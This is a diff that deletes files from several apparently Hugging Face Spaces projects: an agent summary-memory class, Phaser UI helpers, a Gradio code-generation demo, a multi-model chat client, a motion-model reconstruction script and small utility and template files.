-    messages: List[Message] = Field(default=[])
-    buffer: str = Field(default="")
-    recursive: bool = Field(default=False)
-    prompt_template: str = Field(default="")
-
-    def __init__(self, *args, **kwargs):
-        llm_config = kwargs.pop("llm")
-        llm = load_llm(llm_config)
-        super().__init__(llm=llm, *args, **kwargs)
-
-    @validator("prompt_template")
-    def check_prompt_template(cls, v, values):
-        """Check if the prompt template is valid.
-        When recursive is True, the prompt template should contain the following arguments:
-        - $summary: The summary so far.
-        - $new_lines: The new lines to be added to the summary.
-
-        Otherwise, the prompt template should only contain $new_lines
-        """
-        recursive = values.get("recursive")
-        summary_pat = re.compile(r"\$\{?summary\}?")
-        new_lines_pat = re.compile(r"\$\{?new_lines\}?")
-        if recursive:
-            if not summary_pat.search(v):
-                raise ValueError(
-                    "When recursive is True, the prompt template should contain $summary."
-                )
-            if not new_lines_pat.search(v):
-                raise ValueError(
-                    "When recursive is True, the prompt template should contain $new_lines."
-                )
-        else:
-            if summary_pat.search(v):
-                raise ValueError(
-                    "When recursive is False, the prompt template should not contain $summary."
-                )
-            if not new_lines_pat.search(v):
-                raise ValueError(
-                    "When recursive is False, the prompt template should contain $new_lines."
-                )
-        return v
-
-    def add_message(self, messages: List[Message]) -> None:
-        new_lines = "\n".join([message.content for message in messages])
-        self.update_buffer(new_lines)
-
-    def update_buffer(self, new_message: str):
-        prompt = self._fill_in_prompt_template(new_message)
-        response = self.llm.generate_response(prompt)
-        if self.recursive:
-            self.buffer = response.content
-        else:
-            self.buffer = "\n" + response.content
-
-    def _fill_in_prompt_template(self, new_lines: str) -> str:
-        """Fill in the prompt template with the given arguments.
-
-        SummaryMemory supports the following arguments:
-        - summary: The summary so far.
-        - new_lines: The new lines to be added to the summary.
-        """
-        input_arguments = {"summary": self.buffer, "new_lines": new_lines}
-        return Template(self.prompt_template).safe_substitute(input_arguments)
-
-    def to_string(self, *args, **kwargs) -> str:
-        return self.buffer
-
-    def reset(self) -> None:
-        self.messages = []
-        self.buffer = ""

spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/spinner/dots/Dots.d.ts

@@ -1,2 +0,0 @@
-import Base from '../base/Base';
-export default class Dots extends Base { }

spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/fixwidthbuttons/RemoveChildMethods.js

@@ -1,50 +0,0 @@
-import FixWidthSizer from '../fixwidthsizer/FixWidthSizer.js';
-import IsArray from '../../../plugins/utils/object/IsArray.js';
-
-const SizerRmove = FixWidthSizer.prototype.remove;
-const SizerClear = FixWidthSizer.prototype.clear;
-
-var Remove = function (gameObject, destroyChild) {
-    var gameObject = this.getButton(gameObject);
-    if (!gameObject) {
-        return this;
-    }
-
-    this.buttonGroup.remove(gameObject);    
-    SizerRmove.call(this, gameObject, destroyChild);
-    return this;
-};
-
-export default {
-    remove(gameObject, destroyChild) {
-        if (IsArray(gameObject)) {
-            var gameObjects = gameObject;
-            for (var i = 0, cnt = gameObjects.length; i < cnt; i++) {
-                Remove.call(this, gameObjects[i], destroyChild);
-            }
-        } else {
-            Remove.call(this, gameObject, destroyChild);
-        }
-        return this;
-    },
-
-    clear(destroyChild) {
-        var buttons = this.buttonGroup.buttons;
-        buttons.length = 0;
-        SizerClear.call(this, destroyChild);
-        return this;
-    },
-
-    removeButton(gameObject, destroyChild) {
-        this.remove(gameObject, destroyChild);
-        return this;
-    },
-
-    clearButtons(destroyChild) {
-        var buttons = this.buttonGroup.buttons;
-        for (var i = buttons.length - 1; i >= 0; i--) {
-            Remove.call(this, buttons[i], destroyChild);
-        }
-        return this;
-    }
-}

spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/overlapsizer/RemoveChildMethods.js

@@ -1,46 +0,0 @@
-import RemoveChild from '../basesizer/utils/RemoveChild.js';
-import ClearChildren from '../basesizer/utils/ClearChildren.js';
-
-export default {
-    remove(gameObject, destroyChild) {
-        var key;
-        if (typeof (gameObject) === 'string') {
-            key = gameObject;
-            gameObject = this.sizerChildren[key];
-            if (!gameObject) {
-                return this;
-            }
-        } else if (this.getParentSizer(gameObject) !== this) {
-            return this;
-        } else {
-            key = this.childToKey(gameObject);
-        }
-
-        if (key) {
-            delete this.sizerChildren[key];
-            if (this.childrenMap.hasOwnProperty(key)) {
-                delete this.childrenMap[key];
-            }
-        }
-        RemoveChild.call(this, gameObject, destroyChild);
-        return this;
-    },
-
-    removeAll(destroyChild) {
-        for (var key in this.sizerChildren) {
-            this.remove(key, destroyChild);
-        }
-        return this;
-    },
-
-    clear(destroyChild) {
-        for (var key in this.sizerChildren) {
-            delete this.sizerChildren[key];
-            if (this.childrenMap.hasOwnProperty(key)) {
-                delete this.childrenMap[key];
-            }
-        }
-        ClearChildren.call(this, destroyChild);
-        return this;
-    }
-}

spaces/AhmedSSoliman/MarianCG-CoNaLa/app.py

@@ -1,30 +0,0 @@
-import torch
-import transformers
-from transformers import AutoTokenizer, AutoModelForSeq2SeqLM
-import gradio as gr
-
-tokenizer = AutoTokenizer.from_pretrained("AhmedSSoliman/MarianCG-CoNaLa")
-model = AutoModelForSeq2SeqLM.from_pretrained("AhmedSSoliman/MarianCG-CoNaLa")
-
-def generate_code(NL):
-    inputs = tokenizer(NL, padding="max_length", truncation=True, max_length=512, return_tensors="pt")
-    input_ids = inputs.input_ids
-    attention_mask = inputs.attention_mask
-    outputs = model.generate(input_ids, attention_mask=attention_mask)
-
-    output_code = tokenizer.decode(outputs[0], skip_special_tokens=True)
-    return output_code
-    
-iface = gr.Interface(fn=generate_code, inputs="text", outputs="text", 
-                     examples=[["create array containing the maximum value of respective elements of array `[2, 3, 4]` and array `[1, 5, 2]"], 
-                               ["check if all elements in list `mylist` are identical"],
-                               ["enable debug mode on flask application `app`"],
-                               ["getting the length of `my_tuple`"],
-                               ['find all files in directory "/mydir" with extension ".txt"']],
-                     title="MarianCG: A Code Generation Transformer Model Inspired by Machine Translation",
-                     description="This is a code generation model which can generate code from the natural language description")
-iface.launch()
-#iface.launch(share=True)
-
-#output_text = gr.outputs.Textbox()
-#gr.Interface(generate_code,"textbox", output_text, title="MarianCG model for Code Generation", description="MarianCG model for Code Generation").launch()

spaces/Ainterface/compare-gpt-models/README.md

@@ -1,22 +0,0 @@
----
-title: Compare Gpt Models
-emoji: 🐢
-colorFrom: gray
-colorTo: red
-sdk: streamlit
-sdk_version: 1.17.0
-app_file: app.py
-pinned: false
-license: mit
----
-
-# 关于本项目
-
-俗话说：“不管是白猫黑猫，抓得到老鼠的就是好猫”。本应用对比各家的 GPT 自然语言模型，只需输入一次 prompt，就能同时得到所有的答案。数据接口包括 OpenAI 的 ChatGPT、以及国内公司即将推出的语言模型。
-
-目前接入的模型有：
-
-- text-davinci-003 (From [OpenAI](https://platform.openai.com/docs/engines/davinci))
-- WeLM (From [WeChat](https://welm.weixin.qq.com/docs/introduction/))
-
-本项目基于 [Streamlit](https://docs.streamlit.io/) 开发。

spaces/AlanMars/QYL-AI-Space/modules/models/models.py

@@ -1,651 +0,0 @@
-from __future__ import annotations
-from typing import TYPE_CHECKING, List
-
-import logging
-import json
-import commentjson as cjson
-import os
-import sys
-import requests
-import urllib3
-import platform
-import base64
-from io import BytesIO
-from PIL import Image
-
-from tqdm import tqdm
-import colorama
-from duckduckgo_search import ddg
-import asyncio
-import aiohttp
-from enum import Enum
-import uuid
-
-from ..presets import *
-from ..llama_func import *
-from ..utils import *
-from .. import shared
-from ..config import retrieve_proxy, usage_limit, exchange_rate
-from modules import config
-from .base_model import BaseLLMModel, ModelType
-
-
-class OpenAIClient(BaseLLMModel):
-    def __init__(
-        self,
-        model_name,
-        api_key,
-        system_prompt=INITIAL_SYSTEM_PROMPT,
-        temperature=1.0,
-        top_p=1.0,
-        user_name=""
-    ) -> None:
-        super().__init__(
-            model_name=model_name,
-            temperature=temperature,
-            top_p=top_p,
-            system_prompt=system_prompt,
-            user=user_name
-        )
-        self.api_key = api_key
-        self.need_api_key = True
-        self._refresh_header()
-
-    def get_answer_stream_iter(self):
-        response = self._get_response(stream=True)
-        if response is not None:
-            iter = self._decode_chat_response(response)
-            partial_text = ""
-            for i in iter:
-                partial_text += i
-                yield partial_text
-        else:
-            yield STANDARD_ERROR_MSG + GENERAL_ERROR_MSG
-
-    def get_answer_at_once(self):
-        response = self._get_response()
-        response = json.loads(response.text)
-        content = response["choices"][0]["message"]["content"]
-        total_token_count = response["usage"]["total_tokens"]
-        return content, total_token_count
-
-    def count_token(self, user_input):
-        input_token_count = count_token(construct_user(user_input))
-        if self.system_prompt is not None and len(self.all_token_counts) == 0:
-            system_prompt_token_count = count_token(
-                construct_system(self.system_prompt)
-            )
-            return input_token_count + system_prompt_token_count
-        return input_token_count
-
-    def billing_info(self):
-        try:
-            curr_time = datetime.datetime.now()
-            last_day_of_month = get_last_day_of_month(
-                curr_time).strftime("%Y-%m-%d")
-            first_day_of_month = curr_time.replace(day=1).strftime("%Y-%m-%d")
-            usage_url = f"{shared.state.usage_api_url}?start_date={first_day_of_month}&end_date={last_day_of_month}"
-            try:
-                usage_data = self._get_billing_data(usage_url)
-            except Exception as e:
-                logging.error(f"获取API使用情况失败:" + str(e))
-                return i18n("**获取API使用情况失败**")
-            # rounded_usage = "{:.5f}".format(usage_data["total_usage"] / 100)
-            rounded_usage = round(usage_data["total_usage"] * exchange_rate / 100, 4)
-            usage_percent = round(usage_data["total_usage"] * exchange_rate / usage_limit, 2)
-            # return i18n("**本月使用金额** ") + f"\u3000 ${rounded_usage}"
-            return """\
-                <b>""" + i18n("本月使用金额") + f"""</b>
-                <div class="progress-bar">
-                    <div class="progress" style="width: {usage_percent}%;">
-                        <span class="progress-text">{usage_percent}%</span>
-                    </div>
-                </div>
-                <div style="display: flex; justify-content: space-between;"><span>￥{rounded_usage}</span><span>￥{usage_limit}</span></div>
-                """
-        except requests.exceptions.ConnectTimeout:
-            status_text = (
-                STANDARD_ERROR_MSG + CONNECTION_TIMEOUT_MSG + ERROR_RETRIEVE_MSG
-            )
-            return status_text
-        except requests.exceptions.ReadTimeout:
-            status_text = STANDARD_ERROR_MSG + READ_TIMEOUT_MSG + ERROR_RETRIEVE_MSG
-            return status_text
-        except Exception as e:
-            import traceback
-            traceback.print_exc()
-            logging.error(i18n("获取API使用情况失败:") + str(e))
-            return STANDARD_ERROR_MSG + ERROR_RETRIEVE_MSG
-
-    def set_token_upper_limit(self, new_upper_limit):
-        pass
-
-    @shared.state.switching_api_key  # 在不开启多账号模式的时候，这个装饰器不会起作用
-    def _get_response(self, stream=False):
-        openai_api_key = self.api_key
-        system_prompt = self.system_prompt
-        history = self.history
-        logging.debug(colorama.Fore.YELLOW +
-                      f"{history}" + colorama.Fore.RESET)
-        headers = {
-            "Content-Type": "application/json",
-            "Authorization": f"Bearer {openai_api_key}",
-        }
-
-        if system_prompt is not None:
-            history = [construct_system(system_prompt), *history]
-
-        payload = {
-            "model": self.model_name,
-            "messages": history,
-            "temperature": self.temperature,
-            "top_p": self.top_p,
-            "n": self.n_choices,
-            "stream": stream,
-            "presence_penalty": self.presence_penalty,
-            "frequency_penalty": self.frequency_penalty,
-        }
-
-        if self.max_generation_token is not None:
-            payload["max_tokens"] = self.max_generation_token
-        if self.stop_sequence is not None:
-            payload["stop"] = self.stop_sequence
-        if self.logit_bias is not None:
-            payload["logit_bias"] = self.logit_bias
-        if self.user_identifier:
-            payload["user"] = self.user_identifier
-
-        if stream:
-            timeout = TIMEOUT_STREAMING
-        else:
-            timeout = TIMEOUT_ALL
-
-        # 如果有自定义的api-host，使用自定义host发送请求，否则使用默认设置发送请求
-        if shared.state.completion_url != COMPLETION_URL:
-            logging.info(f"使用自定义API URL: {shared.state.completion_url}")
-
-        with retrieve_proxy():
-            try:
-                response = requests.post(
-                    shared.state.completion_url,
-                    headers=headers,
-                    json=payload,
-                    stream=stream,
-                    timeout=timeout,
-                )
-            except:
-                return None
-        return response
-
-    def _refresh_header(self):
-        self.headers = {
-            "Content-Type": "application/json",
-            "Authorization": f"Bearer {self.api_key}",
-        }
-
-    def _get_billing_data(self, billing_url):
-        with retrieve_proxy():
-            response = requests.get(
-                billing_url,
-                headers=self.headers,
-                timeout=TIMEOUT_ALL,
-            )
-
-        if response.status_code == 200:
-            data = response.json()
-            return data
-        else:
-            raise Exception(
-                f"API request failed with status code {response.status_code}: {response.text}"
-            )
-
-    def _decode_chat_response(self, response):
-        error_msg = ""
-        for chunk in response.iter_lines():
-            if chunk:
-                chunk = chunk.decode()
-                chunk_length = len(chunk)
-                try:
-                    chunk = json.loads(chunk[6:])
-                except json.JSONDecodeError:
-                    print(i18n("JSON解析错误,收到的内容: ") + f"{chunk}")
-                    error_msg += chunk
-                    continue
-                if chunk_length > 6 and "delta" in chunk["choices"][0]:
-                    if chunk["choices"][0]["finish_reason"] == "stop":
-                        break
-                    try:
-                        yield chunk["choices"][0]["delta"]["content"]
-                    except Exception as e:
-                        # logging.error(f"Error: {e}")
-                        continue
-        if error_msg:
-            raise Exception(error_msg)
-
-    def set_key(self, new_access_key):
-        ret = super().set_key(new_access_key)
-        self._refresh_header()
-        return ret
-
-
-class ChatGLM_Client(BaseLLMModel):
-    def __init__(self, model_name, user_name="") -> None:
-        super().__init__(model_name=model_name, user=user_name)
-        from transformers import AutoTokenizer, AutoModel
-        import torch
-        global CHATGLM_TOKENIZER, CHATGLM_MODEL
-        if CHATGLM_TOKENIZER is None or CHATGLM_MODEL is None:
-            system_name = platform.system()
-            model_path = None
-            if os.path.exists("models"):
-                model_dirs = os.listdir("models")
-                if model_name in model_dirs:
-                    model_path = f"models/{model_name}"
-            if model_path is not None:
-                model_source = model_path
-            else:
-                model_source = f"THUDM/{model_name}"
-            CHATGLM_TOKENIZER = AutoTokenizer.from_pretrained(
-                model_source, trust_remote_code=True
-            )
-            quantified = False
-            if "int4" in model_name:
-                quantified = True
-            model = AutoModel.from_pretrained(
-                model_source, trust_remote_code=True
-            )
-            if torch.cuda.is_available():
-                # run on CUDA
-                logging.info("CUDA is available, using CUDA")
-                model = model.half().cuda()
-            # mps加速还存在一些问题，暂时不使用
-            elif system_name == "Darwin" and model_path is not None and not quantified:
-                logging.info("Running on macOS, using MPS")
-                # running on macOS and model already downloaded
-                model = model.half().to("mps")
-            else:
-                logging.info("GPU is not available, using CPU")
-                model = model.float()
-            model = model.eval()
-            CHATGLM_MODEL = model
-
-    def _get_glm_style_input(self):
-        history = [x["content"] for x in self.history]
-        query = history.pop()
-        logging.debug(colorama.Fore.YELLOW +
-                      f"{history}" + colorama.Fore.RESET)
-        assert (
-            len(history) % 2 == 0
-        ), f"History should be even length. current history is: {history}"
-        history = [[history[i], history[i + 1]]
-                   for i in range(0, len(history), 2)]
-        return history, query
-
-    def get_answer_at_once(self):
-        history, query = self._get_glm_style_input()
-        response, _ = CHATGLM_MODEL.chat(
-            CHATGLM_TOKENIZER, query, history=history)
-        return response, len(response)
-
-    def get_answer_stream_iter(self):
-        history, query = self._get_glm_style_input()
-        for response, history in CHATGLM_MODEL.stream_chat(
-            CHATGLM_TOKENIZER,
-            query,
-            history,
-            max_length=self.token_upper_limit,
-            top_p=self.top_p,
-            temperature=self.temperature,
-        ):
-            yield response
-
-
-class LLaMA_Client(BaseLLMModel):
-    def __init__(
-        self,
-        model_name,
-        lora_path=None,
-        user_name=""
-    ) -> None:
-        super().__init__(model_name=model_name, user=user_name)
-        from lmflow.datasets.dataset import Dataset
-        from lmflow.pipeline.auto_pipeline import AutoPipeline
-        from lmflow.models.auto_model import AutoModel
-        from lmflow.args import ModelArguments, DatasetArguments, InferencerArguments
-
-        self.max_generation_token = 1000
-        self.end_string = "\n\n"
-        # We don't need input data
-        data_args = DatasetArguments(dataset_path=None)
-        self.dataset = Dataset(data_args)
-        self.system_prompt = ""
-
-        global LLAMA_MODEL, LLAMA_INFERENCER
-        if LLAMA_MODEL is None or LLAMA_INFERENCER is None:
-            model_path = None
-            if os.path.exists("models"):
-                model_dirs = os.listdir("models")
-                if model_name in model_dirs:
-                    model_path = f"models/{model_name}"
-            if model_path is not None:
-                model_source = model_path
-            else:
-                model_source = f"decapoda-research/{model_name}"
-                # raise Exception(f"models目录下没有这个模型: {model_name}")
-            if lora_path is not None:
-                lora_path = f"lora/{lora_path}"
-            model_args = ModelArguments(model_name_or_path=model_source, lora_model_path=lora_path, model_type=None, config_overrides=None, config_name=None, tokenizer_name=None, cache_dir=None,
-                                        use_fast_tokenizer=True, model_revision='main', use_auth_token=False, torch_dtype=None, use_lora=False, lora_r=8, lora_alpha=32, lora_dropout=0.1, use_ram_optimized_load=True)
-            pipeline_args = InferencerArguments(
-                local_rank=0, random_seed=1, deepspeed='configs/ds_config_chatbot.json', mixed_precision='bf16')
-
-            with open(pipeline_args.deepspeed, "r") as f:
-                ds_config = json.load(f)
-            LLAMA_MODEL = AutoModel.get_model(
-                model_args,
-                tune_strategy="none",
-                ds_config=ds_config,
-            )
-            LLAMA_INFERENCER = AutoPipeline.get_pipeline(
-                pipeline_name="inferencer",
-                model_args=model_args,
-                data_args=data_args,
-                pipeline_args=pipeline_args,
-            )
-
-    def _get_llama_style_input(self):
-        history = []
-        instruction = ""
-        if self.system_prompt:
-            instruction = (f"Instruction: {self.system_prompt}\n")
-        for x in self.history:
-            if x["role"] == "user":
-                history.append(f"{instruction}Input: {x['content']}")
-            else:
-                history.append(f"Output: {x['content']}")
-        context = "\n\n".join(history)
-        context += "\n\nOutput: "
-        return context
-
-    def get_answer_at_once(self):
-        context = self._get_llama_style_input()
-
-        input_dataset = self.dataset.from_dict(
-            {"type": "text_only", "instances": [{"text": context}]}
-        )
-
-        output_dataset = LLAMA_INFERENCER.inference(
-            model=LLAMA_MODEL,
-            dataset=input_dataset,
-            max_new_tokens=self.max_generation_token,
-            temperature=self.temperature,
-        )
-
-        response = output_dataset.to_dict()["instances"][0]["text"]
-        return response, len(response)
-
-    def get_answer_stream_iter(self):
-        context = self._get_llama_style_input()
-        partial_text = ""
-        step = 1
-        for _ in range(0, self.max_generation_token, step):
-            input_dataset = self.dataset.from_dict(
-                {"type": "text_only", "instances": [
-                    {"text": context + partial_text}]}
-            )
-            output_dataset = LLAMA_INFERENCER.inference(
-                model=LLAMA_MODEL,
-                dataset=input_dataset,
-                max_new_tokens=step,
-                temperature=self.temperature,
-            )
-            response = output_dataset.to_dict()["instances"][0]["text"]
-            if response == "" or response == self.end_string:
-                break
-            partial_text += response
-            yield partial_text
-
-
-class XMChat(BaseLLMModel):
-    def __init__(self, api_key, user_name=""):
-        super().__init__(model_name="xmchat", user=user_name)
-        self.api_key = api_key
-        self.session_id = None
-        self.reset()
-        self.image_bytes = None
-        self.image_path = None
-        self.xm_history = []
-        self.url = "https://xmbot.net/web"
-        self.last_conv_id = None
-
-    def reset(self):
-        self.session_id = str(uuid.uuid4())
-        self.last_conv_id = None
-        return [], "已重置"
-
-    def image_to_base64(self, image_path):
-        # 打开并加载图片
-        img = Image.open(image_path)
-
-        # 获取图片的宽度和高度
-        width, height = img.size
-
-        # 计算压缩比例，以确保最长边小于4096像素
-        max_dimension = 2048
-        scale_ratio = min(max_dimension / width, max_dimension / height)
-
-        if scale_ratio < 1:
-            # 按压缩比例调整图片大小
-            new_width = int(width * scale_ratio)
-            new_height = int(height * scale_ratio)
-            img = img.resize((new_width, new_height), Image.ANTIALIAS)
-
-        # 将图片转换为jpg格式的二进制数据
-        buffer = BytesIO()
-        if img.mode == "RGBA":
-            img = img.convert("RGB")
-        img.save(buffer, format='JPEG')
-        binary_image = buffer.getvalue()
-
-        # 对二进制数据进行Base64编码
-        base64_image = base64.b64encode(binary_image).decode('utf-8')
-
-        return base64_image
-
-    def try_read_image(self, filepath):
-        def is_image_file(filepath):
-            # 判断文件是否为图片
-            valid_image_extensions = [
-                ".jpg", ".jpeg", ".png", ".bmp", ".gif", ".tiff"]
-            file_extension = os.path.splitext(filepath)[1].lower()
-            return file_extension in valid_image_extensions
-
-        if is_image_file(filepath):
-            logging.info(f"读取图片文件: {filepath}")
-            self.image_bytes = self.image_to_base64(filepath)
-            self.image_path = filepath
-        else:
-            self.image_bytes = None
-            self.image_path = None
-
-    def like(self):
-        if self.last_conv_id is None:
-            return "点赞失败，你还没发送过消息"
-        data = {
-            "uuid": self.last_conv_id,
-            "appraise": "good"
-        }
-        requests.post(self.url, json=data)
-        return "👍点赞成功，感谢反馈～"
-
-    def dislike(self):
-        if self.last_conv_id is None:
-            return "点踩失败，你还没发送过消息"
-        data = {
-            "uuid": self.last_conv_id,
-            "appraise": "bad"
-        }
-        requests.post(self.url, json=data)
-        return "👎点踩成功，感谢反馈～"
-
-    def prepare_inputs(self, real_inputs, use_websearch, files, reply_language, chatbot):
-        fake_inputs = real_inputs
-        display_append = ""
-        limited_context = False
-        return limited_context, fake_inputs, display_append, real_inputs, chatbot
-
-    def handle_file_upload(self, files, chatbot):
-        """if the model accepts multi modal input, implement this function"""
-        if files:
-            for file in files:
-                if file.name:
-                    logging.info(f"尝试读取图像: {file.name}")
-                    self.try_read_image(file.name)
-            if self.image_path is not None:
-                chatbot = chatbot + [((self.image_path,), None)]
-            if self.image_bytes is not None:
-                logging.info("使用图片作为输入")
-                # XMChat的一轮对话中实际上只能处理一张图片
-                self.reset()
-                conv_id = str(uuid.uuid4())
-                data = {
-                    "user_id": self.api_key,
-                    "session_id": self.session_id,
-                    "uuid": conv_id,
-                    "data_type": "imgbase64",
-                    "data": self.image_bytes
-                }
-                response = requests.post(self.url, json=data)
-                response = json.loads(response.text)
-                logging.info(f"图片回复: {response['data']}")
-        return None, chatbot, None
-
-    def get_answer_at_once(self):
-        question = self.history[-1]["content"]
-        conv_id = str(uuid.uuid4())
-        self.last_conv_id = conv_id
-        data = {
-            "user_id": self.api_key,
-            "session_id": self.session_id,
-            "uuid": conv_id,
-            "data_type": "text",
-            "data": question
-        }
-        response = requests.post(self.url, json=data)
-        try:
-            response = json.loads(response.text)
-            return response["data"], len(response["data"])
-        except Exception as e:
-            return response.text, len(response.text)
-
-
-def get_model(
-    model_name,
-    lora_model_path=None,
-    access_key=None,
-    temperature=None,
-    top_p=None,
-    system_prompt=None,
-    user_name=""
-) -> BaseLLMModel:
-    msg = i18n("模型设置为了：") + f" {model_name}"
-    model_type = ModelType.get_type(model_name)
-    lora_selector_visibility = False
-    lora_choices = []
-    dont_change_lora_selector = False
-    if model_type != ModelType.OpenAI:
-        config.local_embedding = True
-    # del current_model.model
-    model = None
-    try:
-        if model_type == ModelType.OpenAI:
-            logging.info(f"正在加载OpenAI模型: {model_name}")
-            model = OpenAIClient(
-                model_name=model_name,
-                api_key=access_key,
-                system_prompt=system_prompt,
-                temperature=temperature,
-                top_p=top_p,
-                user_name=user_name,
-            )
-        elif model_type == ModelType.ChatGLM:
-            logging.info(f"正在加载ChatGLM模型: {model_name}")
-            model = ChatGLM_Client(model_name, user_name=user_name)
-        elif model_type == ModelType.LLaMA and lora_model_path == "":
-            msg = f"现在请为 {model_name} 选择LoRA模型"
-            logging.info(msg)
-            lora_selector_visibility = True
-            if os.path.isdir("lora"):
-                lora_choices = get_file_names(
-                    "lora", plain=True, filetypes=[""])
-            lora_choices = ["No LoRA"] + lora_choices
-        elif model_type == ModelType.LLaMA and lora_model_path != "":
-            logging.info(f"正在加载LLaMA模型: {model_name} + {lora_model_path}")
-            dont_change_lora_selector = True
-            if lora_model_path == "No LoRA":
-                lora_model_path = None
-                msg += " + No LoRA"
-            else:
-                msg += f" + {lora_model_path}"
-            model = LLaMA_Client(
-                model_name, lora_model_path, user_name=user_name)
-        elif model_type == ModelType.XMChat:
-            if os.environ.get("XMCHAT_API_KEY") != "":
-                access_key = os.environ.get("XMCHAT_API_KEY")
-            model = XMChat(api_key=access_key, user_name=user_name)
-        elif model_type == ModelType.StableLM:
-            from .StableLM import StableLM_Client
-            model = StableLM_Client(model_name, user_name=user_name)
-        elif model_type == ModelType.MOSS:
-            from .MOSS import MOSS_Client
-            model = MOSS_Client(model_name, user_name=user_name)
-        elif model_type == ModelType.YuanAI:
-            from .inspurai import Yuan_Client
-            model = Yuan_Client(model_name, api_key=access_key, user_name=user_name, system_prompt=system_prompt)
-        elif model_type == ModelType.Unknown:
-            raise ValueError(f"未知模型: {model_name}")
-        logging.info(msg)
-        chatbot = gr.Chatbot.update(label=model_name)
-    except Exception as e:
-        logging.error(e)
-        msg = f"{STANDARD_ERROR_MSG}: {e}"
-    if dont_change_lora_selector:
-        return model, msg, chatbot
-    else:
-        return model, msg, chatbot, gr.Dropdown.update(choices=lora_choices, visible=lora_selector_visibility)
-
-
-if __name__ == "__main__":
-    with open("config.json", "r") as f:
-        openai_api_key = cjson.load(f)["openai_api_key"]
-    # set logging level to debug
-    logging.basicConfig(level=logging.DEBUG)
-    # client = ModelManager(model_name="gpt-3.5-turbo", access_key=openai_api_key)
-    client = get_model(model_name="chatglm-6b-int4")
-    chatbot = []
-    stream = False
-    # 测试账单功能
-    logging.info(colorama.Back.GREEN + "测试账单功能" + colorama.Back.RESET)
-    logging.info(client.billing_info())
-    # 测试问答
-    logging.info(colorama.Back.GREEN + "测试问答" + colorama.Back.RESET)
-    question = "巴黎是中国的首都吗？"
-    for i in client.predict(inputs=question, chatbot=chatbot, stream=stream):
-        logging.info(i)
-    logging.info(f"测试问答后history : {client.history}")
-    # 测试记忆力
-    logging.info(colorama.Back.GREEN + "测试记忆力" + colorama.Back.RESET)
-    question = "我刚刚问了你什么问题？"
-    for i in client.predict(inputs=question, chatbot=chatbot, stream=stream):
-        logging.info(i)
-    logging.info(f"测试记忆力后history : {client.history}")
-    # 测试重试功能
-    logging.info(colorama.Back.GREEN + "测试重试功能" + colorama.Back.RESET)
-    for i in client.retry(chatbot=chatbot, stream=stream):
-        logging.info(i)
-    logging.info(f"重试后history : {client.history}")
-    # # 测试总结功能
-    # print(colorama.Back.GREEN + "测试总结功能" + colorama.Back.RESET)
-    # chatbot, msg = client.reduce_token_size(chatbot=chatbot)
-    # print(chatbot, msg)
-    # print(f"总结后history: {client.history}")

spaces/AlekseyKorshuk/thin-plate-spline-motion-model/reconstruction.py

@@ -1,69 +0,0 @@
-import os
-from tqdm import tqdm
-import torch
-from torch.utils.data import DataLoader
-from logger import Logger, Visualizer
-import numpy as np
-import imageio
-
-
-def reconstruction(config, inpainting_network, kp_detector, bg_predictor, dense_motion_network, checkpoint, log_dir, dataset):
-    png_dir = os.path.join(log_dir, 'reconstruction/png')
-    log_dir = os.path.join(log_dir, 'reconstruction')
-
-    if checkpoint is not None:
-        Logger.load_cpk(checkpoint, inpainting_network=inpainting_network, kp_detector=kp_detector,
-                         bg_predictor=bg_predictor, dense_motion_network=dense_motion_network)
-    else:
-        raise AttributeError("Checkpoint should be specified for mode='reconstruction'.")
-    dataloader = DataLoader(dataset, batch_size=1, shuffle=False, num_workers=1)
-
-    if not os.path.exists(log_dir):
-        os.makedirs(log_dir)
-
-    if not os.path.exists(png_dir):
-        os.makedirs(png_dir)
-    
-    loss_list = []
-
-    inpainting_network.eval()
-    kp_detector.eval()
-    dense_motion_network.eval()
-    if bg_predictor:
-        bg_predictor.eval()
-
-    for it, x in tqdm(enumerate(dataloader)):
-        with torch.no_grad():
-            predictions = []
-            visualizations = []
-            if torch.cuda.is_available():
-                x['video'] = x['video'].cuda()
-            kp_source = kp_detector(x['video'][:, :, 0])
-            for frame_idx in range(x['video'].shape[2]):
-                source = x['video'][:, :, 0]
-                driving = x['video'][:, :, frame_idx]
-                kp_driving = kp_detector(driving)
-                bg_params = None
-                if bg_predictor:
-                    bg_params = bg_predictor(source, driving)
-                
-                dense_motion = dense_motion_network(source_image=source, kp_driving=kp_driving,
-                                                    kp_source=kp_source, bg_param = bg_params, 
-                                                    dropout_flag = False)
-                out = inpainting_network(source, dense_motion)
-                out['kp_source'] = kp_source
-                out['kp_driving'] = kp_driving
-
-                predictions.append(np.transpose(out['prediction'].data.cpu().numpy(), [0, 2, 3, 1])[0])
-
-                visualization = Visualizer(**config['visualizer_params']).visualize(source=source,
-                                                                                   driving=driving, out=out)
-                visualizations.append(visualization)
-                loss = torch.abs(out['prediction'] - driving).mean().cpu().numpy()
-                
-                loss_list.append(loss)
-            # print(np.mean(loss_list))
-            predictions = np.concatenate(predictions, axis=1)
-            imageio.imsave(os.path.join(png_dir, x['name'][0] + '.png'), (255 * predictions).astype(np.uint8))
-
-    print("Reconstruction loss: %s" % np.mean(loss_list))

spaces/AlterM/Zaglyt2-transformer-test/word_emb.py

@@ -1,15 +0,0 @@
-from m_conf import *
-from keras.preprocessing.text import Tokenizer
-from gensim.models import Word2Vec
-
-with open('train.txt', 'r') as file:
-    lines = file.readlines()
-
-tokenizer = Tokenizer()
-tokenizer.fit_on_texts(lines)
-sequences = tokenizer.texts_to_sequences(lines)
-tokens = [[str(i) for i in seq] for seq in sequences]
-
-model = Word2Vec(tokens, window=3, min_count=1, vector_size=emb_o_dim)
-
-model.save("w2v.model")

spaces/Ameaou/academic-chatgpt3.1/.github/ISSUE_TEMPLATE/bug_report.md

@@ -1,25 +0,0 @@
----
-name: Bug report
-about: Create a report to help us improve
-title: ''
-labels: ''
-assignees: ''
-
----
-
-- **(1) Describe the bug 简述**
-
-
-- **(2) Screen Shot 截图**
-
-
-- **(3) Terminal Traceback 终端traceback（如有）**
-
-
-- **(4) Material to Help Reproduce Bugs 帮助我们复现的测试材料样本（如有）**
-
-
-
-Before submitting an issue 提交issue之前：
-- Please try to upgrade your code. 如果您的代码不是最新的，建议您先尝试更新代码
-- Please check project wiki for common problem solutions.项目[wiki](https://github.com/binary-husky/chatgpt_academic/wiki)有一些常见问题的解决方法

spaces/Androidonnxfork/CivitAi-to-Diffusers/diffusers/docs/source/en/using-diffusers/schedulers.md

@@ -1,313 +0,0 @@
